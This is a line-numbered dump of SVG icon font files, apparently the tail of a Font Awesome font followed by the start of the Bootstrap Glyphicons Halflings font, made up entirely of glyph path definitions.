507 <glyph unicode="&#xf205;" horiz-adv-x="2048" d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5 t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
508 <glyph unicode="&#xf206;" horiz-adv-x="2304" d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94 q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469 q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400 q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
509 <glyph unicode="&#xf207;" d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5 h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5 t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
510 <glyph unicode="&#xf208;" horiz-adv-x="2048" d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327 q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5 q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
511 <glyph unicode="&#xf209;" horiz-adv-x="1280" d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q18 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119 t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5 t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14 q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88 q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5 t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
512 <glyph unicode="&#xf20a;" horiz-adv-x="2048" d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206 q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307 t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14 t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
513 <glyph unicode="&#xf20b;" d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5 t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
514 <glyph unicode="&#xf20c;" d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55 q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410 q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
515 <glyph unicode="&#xf20d;" horiz-adv-x="1792" />
516 <glyph unicode="&#xf20e;" horiz-adv-x="1792" />
517 <glyph unicode="&#xf500;" horiz-adv-x="1792" />
518 </font>
519 </defs></svg>
0 <?xml version="1.0" standalone="no"?>
1 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
2 <svg xmlns="http://www.w3.org/2000/svg">
3 <metadata></metadata>
4 <defs>
5 <font id="glyphicons_halflingsregular" horiz-adv-x="1200" >
6 <font-face units-per-em="1200" ascent="960" descent="-240" />
7 <missing-glyph horiz-adv-x="500" />
8 <glyph />
9 <glyph />
10 <glyph unicode="&#xd;" />
11 <glyph unicode=" " />
12 <glyph unicode="*" d="M100 500v200h259l-183 183l141 141l183 -183v259h200v-259l183 183l141 -141l-183 -183h259v-200h-259l183 -183l-141 -141l-183 183v-259h-200v259l-183 -183l-141 141l183 183h-259z" />
13 <glyph unicode="+" d="M0 400v300h400v400h300v-400h400v-300h-400v-400h-300v400h-400z" />
14 <glyph unicode="&#xa0;" />
15 <glyph unicode="&#x2000;" horiz-adv-x="652" />
16 <glyph unicode="&#x2001;" horiz-adv-x="1304" />
17 <glyph unicode="&#x2002;" horiz-adv-x="652" />
18 <glyph unicode="&#x2003;" horiz-adv-x="1304" />
19 <glyph unicode="&#x2004;" horiz-adv-x="434" />
20 <glyph unicode="&#x2005;" horiz-adv-x="326" />
21 <glyph unicode="&#x2006;" horiz-adv-x="217" />
22 <glyph unicode="&#x2007;" horiz-adv-x="217" />
23 <glyph unicode="&#x2008;" horiz-adv-x="163" />
24 <glyph unicode="&#x2009;" horiz-adv-x="260" />
25 <glyph unicode="&#x200a;" horiz-adv-x="72" />
26 <glyph unicode="&#x202f;" horiz-adv-x="260" />
27 <glyph unicode="&#x205f;" horiz-adv-x="326" />
28 <glyph unicode="&#x20ac;" d="M100 500l100 100h113q0 47 5 100h-218l100 100h135q37 167 112 257q117 141 297 141q242 0 354 -189q60 -103 66 -209h-181q0 55 -25.5 99t-63.5 68t-75 36.5t-67 12.5q-24 0 -52.5 -10t-62.5 -32t-65.5 -67t-50.5 -107h379l-100 -100h-300q-6 -46 -6 -100h406l-100 -100 h-300q9 -74 33 -132t52.5 -91t62 -54.5t59 -29t46.5 -7.5q29 0 66 13t75 37t63.5 67.5t25.5 96.5h174q-31 -172 -128 -278q-107 -117 -274 -117q-205 0 -324 158q-36 46 -69 131.5t-45 205.5h-217z" />
29 <glyph unicode="&#x2212;" d="M200 400h900v300h-900v-300z" />
30 <glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
31 <glyph unicode="&#x2601;" d="M-14 494q0 -80 56.5 -137t135.5 -57h750q120 0 205 86.5t85 207.5t-85 207t-205 86q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5z" />
32 <glyph unicode="&#x2709;" d="M0 100l400 400l200 -200l200 200l400 -400h-1200zM0 300v600l300 -300zM0 1100l600 -603l600 603h-1200zM900 600l300 300v-600z" />
33 <glyph unicode="&#x270f;" d="M-13 -13l333 112l-223 223zM187 403l214 -214l614 614l-214 214zM887 1103l214 -214l99 92q13 13 13 32.5t-13 33.5l-153 153q-15 13 -33 13t-33 -13z" />
34 <glyph unicode="&#xe001;" d="M0 1200h1200l-500 -550v-550h300v-100h-800v100h300v550z" />
35 <glyph unicode="&#xe002;" d="M14 84q18 -55 86 -75.5t147 5.5q65 21 109 69t44 90v606l600 155v-521q-64 16 -138 -7q-79 -26 -122.5 -83t-25.5 -111q18 -55 86 -75.5t147 4.5q70 23 111.5 63.5t41.5 95.5v881q0 10 -7 15.5t-17 2.5l-752 -193q-10 -3 -17 -12.5t-7 -19.5v-689q-64 17 -138 -7 q-79 -25 -122.5 -82t-25.5 -112z" />
36 <glyph unicode="&#xe003;" d="M23 693q0 200 142 342t342 142t342 -142t142 -342q0 -142 -78 -261l300 -300q7 -8 7 -18t-7 -18l-109 -109q-8 -7 -18 -7t-18 7l-300 300q-119 -78 -261 -78q-200 0 -342 142t-142 342zM176 693q0 -136 97 -233t234 -97t233.5 96.5t96.5 233.5t-96.5 233.5t-233.5 96.5 t-234 -97t-97 -233z" />
37 <glyph unicode="&#xe005;" d="M100 784q0 64 28 123t73 100.5t104.5 64t119 20.5t120 -38.5t104.5 -104.5q48 69 109.5 105t121.5 38t118.5 -20.5t102.5 -64t71 -100.5t27 -123q0 -57 -33.5 -117.5t-94 -124.5t-126.5 -127.5t-150 -152.5t-146 -174q-62 85 -145.5 174t-149.5 152.5t-126.5 127.5 t-94 124.5t-33.5 117.5z" />
38 <glyph unicode="&#xe006;" d="M-72 800h479l146 400h2l146 -400h472l-382 -278l145 -449l-384 275l-382 -275l146 447zM168 71l2 1z" />
39 <glyph unicode="&#xe007;" d="M-72 800h479l146 400h2l146 -400h472l-382 -278l145 -449l-384 275l-382 -275l146 447zM168 71l2 1zM237 700l196 -142l-73 -226l192 140l195 -141l-74 229l193 140h-235l-77 211l-78 -211h-239z" />
40 <glyph unicode="&#xe008;" d="M0 0v143l400 257v100q-37 0 -68.5 74.5t-31.5 125.5v200q0 124 88 212t212 88t212 -88t88 -212v-200q0 -51 -31.5 -125.5t-68.5 -74.5v-100l400 -257v-143h-1200z" />
41 <glyph unicode="&#xe009;" d="M0 0v1100h1200v-1100h-1200zM100 100h100v100h-100v-100zM100 300h100v100h-100v-100zM100 500h100v100h-100v-100zM100 700h100v100h-100v-100zM100 900h100v100h-100v-100zM300 100h600v400h-600v-400zM300 600h600v400h-600v-400zM1000 100h100v100h-100v-100z M1000 300h100v100h-100v-100zM1000 500h100v100h-100v-100zM1000 700h100v100h-100v-100zM1000 900h100v100h-100v-100z" />
42 <glyph unicode="&#xe010;" d="M0 50v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400q0 -21 -14.5 -35.5t-35.5 -14.5h-400q-21 0 -35.5 14.5t-14.5 35.5zM0 650v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400q0 -21 -14.5 -35.5t-35.5 -14.5h-400 q-21 0 -35.5 14.5t-14.5 35.5zM600 50v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400q0 -21 -14.5 -35.5t-35.5 -14.5h-400q-21 0 -35.5 14.5t-14.5 35.5zM600 650v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400 q0 -21 -14.5 -35.5t-35.5 -14.5h-400q-21 0 -35.5 14.5t-14.5 35.5z" />
43 <glyph unicode="&#xe011;" d="M0 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM0 450v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200 q-21 0 -35.5 14.5t-14.5 35.5zM0 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5 t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 450v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5 v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 450v200q0 21 14.5 35.5t35.5 14.5h200 q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5z" />
44 <glyph unicode="&#xe012;" d="M0 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM0 450q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v200q0 21 -14.5 35.5t-35.5 14.5h-200q-21 0 -35.5 -14.5 t-14.5 -35.5v-200zM0 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 50v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5 t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5zM400 450v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5zM400 850v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5 v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5z" />
45 <glyph unicode="&#xe013;" d="M29 454l419 -420l818 820l-212 212l-607 -607l-206 207z" />
46 <glyph unicode="&#xe014;" d="M106 318l282 282l-282 282l212 212l282 -282l282 282l212 -212l-282 -282l282 -282l-212 -212l-282 282l-282 -282z" />
47 <glyph unicode="&#xe015;" d="M23 693q0 200 142 342t342 142t342 -142t142 -342q0 -142 -78 -261l300 -300q7 -8 7 -18t-7 -18l-109 -109q-8 -7 -18 -7t-18 7l-300 300q-119 -78 -261 -78q-200 0 -342 142t-142 342zM176 693q0 -136 97 -233t234 -97t233.5 96.5t96.5 233.5t-96.5 233.5t-233.5 96.5 t-234 -97t-97 -233zM300 600v200h100v100h200v-100h100v-200h-100v-100h-200v100h-100z" />
48 <glyph unicode="&#xe016;" d="M23 694q0 200 142 342t342 142t342 -142t142 -342q0 -141 -78 -262l300 -299q7 -7 7 -18t-7 -18l-109 -109q-8 -8 -18 -8t-18 8l-300 300q-119 -78 -261 -78q-200 0 -342 142t-142 342zM176 694q0 -136 97 -233t234 -97t233.5 97t96.5 233t-96.5 233t-233.5 97t-234 -97 t-97 -233zM300 601h400v200h-400v-200z" />
49 <glyph unicode="&#xe017;" d="M23 600q0 183 105 331t272 210v-166q-103 -55 -165 -155t-62 -220q0 -177 125 -302t302 -125t302 125t125 302q0 120 -62 220t-165 155v166q167 -62 272 -210t105 -331q0 -118 -45.5 -224.5t-123 -184t-184 -123t-224.5 -45.5t-224.5 45.5t-184 123t-123 184t-45.5 224.5 zM500 750q0 -21 14.5 -35.5t35.5 -14.5h100q21 0 35.5 14.5t14.5 35.5v400q0 21 -14.5 35.5t-35.5 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-400z" />
50 <glyph unicode="&#xe018;" d="M100 1h200v300h-200v-300zM400 1v500h200v-500h-200zM700 1v800h200v-800h-200zM1000 1v1200h200v-1200h-200z" />
51 <glyph unicode="&#xe019;" d="M26 601q0 -33 6 -74l151 -38l2 -6q14 -49 38 -93l3 -5l-80 -134q45 -59 105 -105l133 81l5 -3q45 -26 94 -39l5 -2l38 -151q40 -5 74 -5q27 0 74 5l38 151l6 2q46 13 93 39l5 3l134 -81q56 44 104 105l-80 134l3 5q24 44 39 93l1 6l152 38q5 40 5 74q0 28 -5 73l-152 38 l-1 6q-16 51 -39 93l-3 5l80 134q-44 58 -104 105l-134 -81l-5 3q-45 25 -93 39l-6 1l-38 152q-40 5 -74 5q-27 0 -74 -5l-38 -152l-5 -1q-50 -14 -94 -39l-5 -3l-133 81q-59 -47 -105 -105l80 -134l-3 -5q-25 -47 -38 -93l-2 -6l-151 -38q-6 -48 -6 -73zM385 601 q0 88 63 151t152 63t152 -63t63 -151q0 -89 -63 -152t-152 -63t-152 63t-63 152z" />
52 <glyph unicode="&#xe020;" d="M100 1025v50q0 10 7.5 17.5t17.5 7.5h275v100q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5v-100h275q10 0 17.5 -7.5t7.5 -17.5v-50q0 -11 -7 -18t-18 -7h-1050q-11 0 -18 7t-7 18zM200 100v800h900v-800q0 -41 -29.5 -71t-70.5 -30h-700q-41 0 -70.5 30 t-29.5 71zM300 100h100v700h-100v-700zM500 100h100v700h-100v-700zM500 1100h300v100h-300v-100zM700 100h100v700h-100v-700zM900 100h100v700h-100v-700z" />
53 <glyph unicode="&#xe021;" d="M1 601l656 644l644 -644h-200v-600h-300v400h-300v-400h-300v600h-200z" />
54 <glyph unicode="&#xe022;" d="M100 25v1150q0 11 7 18t18 7h475v-500h400v-675q0 -11 -7 -18t-18 -7h-850q-11 0 -18 7t-7 18zM700 800v300l300 -300h-300z" />
55 <glyph unicode="&#xe023;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM500 500v400h100 v-300h200v-100h-300z" />
56 <glyph unicode="&#xe024;" d="M-100 0l431 1200h209l-21 -300h162l-20 300h208l431 -1200h-538l-41 400h-242l-40 -400h-539zM488 500h224l-27 300h-170z" />
57 <glyph unicode="&#xe025;" d="M0 0v400h490l-290 300h200v500h300v-500h200l-290 -300h490v-400h-1100zM813 200h175v100h-175v-100z" />
58 <glyph unicode="&#xe026;" d="M1 600q0 122 47.5 233t127.5 191t191 127.5t233 47.5t233 -47.5t191 -127.5t127.5 -191t47.5 -233t-47.5 -233t-127.5 -191t-191 -127.5t-233 -47.5t-233 47.5t-191 127.5t-127.5 191t-47.5 233zM188 600q0 -170 121 -291t291 -121t291 121t121 291t-121 291t-291 121 t-291 -121t-121 -291zM350 600h150v300h200v-300h150l-250 -300z" />
59 <glyph unicode="&#xe027;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM350 600l250 300 l250 -300h-150v-300h-200v300h-150z" />
60 <glyph unicode="&#xe028;" d="M0 25v475l200 700h800l199 -700l1 -475q0 -11 -7 -18t-18 -7h-1150q-11 0 -18 7t-7 18zM200 500h200l50 -200h300l50 200h200l-97 500h-606z" />
61 <glyph unicode="&#xe029;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -172 121.5 -293t292.5 -121t292.5 121t121.5 293q0 171 -121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM500 397v401 l297 -200z" />
62 <glyph unicode="&#xe030;" d="M23 600q0 -118 45.5 -224.5t123 -184t184 -123t224.5 -45.5t224.5 45.5t184 123t123 184t45.5 224.5h-150q0 -177 -125 -302t-302 -125t-302 125t-125 302t125 302t302 125q136 0 246 -81l-146 -146h400v400l-145 -145q-157 122 -355 122q-118 0 -224.5 -45.5t-184 -123 t-123 -184t-45.5 -224.5z" />
63 <glyph unicode="&#xe031;" d="M23 600q0 118 45.5 224.5t123 184t184 123t224.5 45.5q198 0 355 -122l145 145v-400h-400l147 147q-112 80 -247 80q-177 0 -302 -125t-125 -302h-150zM100 0v400h400l-147 -147q112 -80 247 -80q177 0 302 125t125 302h150q0 -118 -45.5 -224.5t-123 -184t-184 -123 t-224.5 -45.5q-198 0 -355 122z" />
64 <glyph unicode="&#xe032;" d="M100 0h1100v1200h-1100v-1200zM200 100v900h900v-900h-900zM300 200v100h100v-100h-100zM300 400v100h100v-100h-100zM300 600v100h100v-100h-100zM300 800v100h100v-100h-100zM500 200h500v100h-500v-100zM500 400v100h500v-100h-500zM500 600v100h500v-100h-500z M500 800v100h500v-100h-500z" />
65 <glyph unicode="&#xe033;" d="M0 100v600q0 41 29.5 70.5t70.5 29.5h100v200q0 82 59 141t141 59h300q82 0 141 -59t59 -141v-200h100q41 0 70.5 -29.5t29.5 -70.5v-600q0 -41 -29.5 -70.5t-70.5 -29.5h-900q-41 0 -70.5 29.5t-29.5 70.5zM400 800h300v150q0 21 -14.5 35.5t-35.5 14.5h-200 q-21 0 -35.5 -14.5t-14.5 -35.5v-150z" />
66 <glyph unicode="&#xe034;" d="M100 0v1100h100v-1100h-100zM300 400q60 60 127.5 84t127.5 17.5t122 -23t119 -30t110 -11t103 42t91 120.5v500q-40 -81 -101.5 -115.5t-127.5 -29.5t-138 25t-139.5 40t-125.5 25t-103 -29.5t-65 -115.5v-500z" />
67 <glyph unicode="&#xe035;" d="M0 275q0 -11 7 -18t18 -7h50q11 0 18 7t7 18v300q0 127 70.5 231.5t184.5 161.5t245 57t245 -57t184.5 -161.5t70.5 -231.5v-300q0 -11 7 -18t18 -7h50q11 0 18 7t7 18v300q0 116 -49.5 227t-131 192.5t-192.5 131t-227 49.5t-227 -49.5t-192.5 -131t-131 -192.5 t-49.5 -227v-300zM200 20v460q0 8 6 14t14 6h160q8 0 14 -6t6 -14v-460q0 -8 -6 -14t-14 -6h-160q-8 0 -14 6t-6 14zM800 20v460q0 8 6 14t14 6h160q8 0 14 -6t6 -14v-460q0 -8 -6 -14t-14 -6h-160q-8 0 -14 6t-6 14z" />
68 <glyph unicode="&#xe036;" d="M0 400h300l300 -200v800l-300 -200h-300v-400zM688 459l141 141l-141 141l71 71l141 -141l141 141l71 -71l-141 -141l141 -141l-71 -71l-141 141l-141 -141z" />
69 <glyph unicode="&#xe037;" d="M0 400h300l300 -200v800l-300 -200h-300v-400zM700 857l69 53q111 -135 111 -310q0 -169 -106 -302l-67 54q86 110 86 248q0 146 -93 257z" />
70 <glyph unicode="&#xe038;" d="M0 401v400h300l300 200v-800l-300 200h-300zM702 858l69 53q111 -135 111 -310q0 -170 -106 -303l-67 55q86 110 86 248q0 145 -93 257zM889 951l7 -8q123 -151 123 -344q0 -189 -119 -339l-7 -8l81 -66l6 8q142 178 142 405q0 230 -144 408l-6 8z" />
71 <glyph unicode="&#xe039;" d="M0 0h500v500h-200v100h-100v-100h-200v-500zM0 600h100v100h400v100h100v100h-100v300h-500v-600zM100 100v300h300v-300h-300zM100 800v300h300v-300h-300zM200 200v100h100v-100h-100zM200 900h100v100h-100v-100zM500 500v100h300v-300h200v-100h-100v-100h-200v100 h-100v100h100v200h-200zM600 0v100h100v-100h-100zM600 1000h100v-300h200v-300h300v200h-200v100h200v500h-600v-200zM800 800v300h300v-300h-300zM900 0v100h300v-100h-300zM900 900v100h100v-100h-100zM1100 200v100h100v-100h-100z" />
72 <glyph unicode="&#xe040;" d="M0 200h100v1000h-100v-1000zM100 0v100h300v-100h-300zM200 200v1000h100v-1000h-100zM500 0v91h100v-91h-100zM500 200v1000h200v-1000h-200zM700 0v91h100v-91h-100zM800 200v1000h100v-1000h-100zM900 0v91h200v-91h-200zM1000 200v1000h200v-1000h-200z" />
73 <glyph unicode="&#xe041;" d="M0 700l1 475q0 10 7.5 17.5t17.5 7.5h474l700 -700l-500 -500zM148 953q0 -42 29 -71q30 -30 71.5 -30t71.5 30q29 29 29 71t-29 71q-30 30 -71.5 30t-71.5 -30q-29 -29 -29 -71z" />
74 <glyph unicode="&#xe042;" d="M1 700l1 475q0 11 7 18t18 7h474l700 -700l-500 -500zM148 953q0 -42 30 -71q29 -30 71 -30t71 30q30 29 30 71t-30 71q-29 30 -71 30t-71 -30q-30 -29 -30 -71zM701 1200h100l700 -700l-500 -500l-50 50l450 450z" />
75 <glyph unicode="&#xe043;" d="M100 0v1025l175 175h925v-1000l-100 -100v1000h-750l-100 -100h750v-1000h-900z" />
76 <glyph unicode="&#xe044;" d="M200 0l450 444l450 -443v1150q0 20 -14.5 35t-35.5 15h-800q-21 0 -35.5 -15t-14.5 -35v-1151z" />
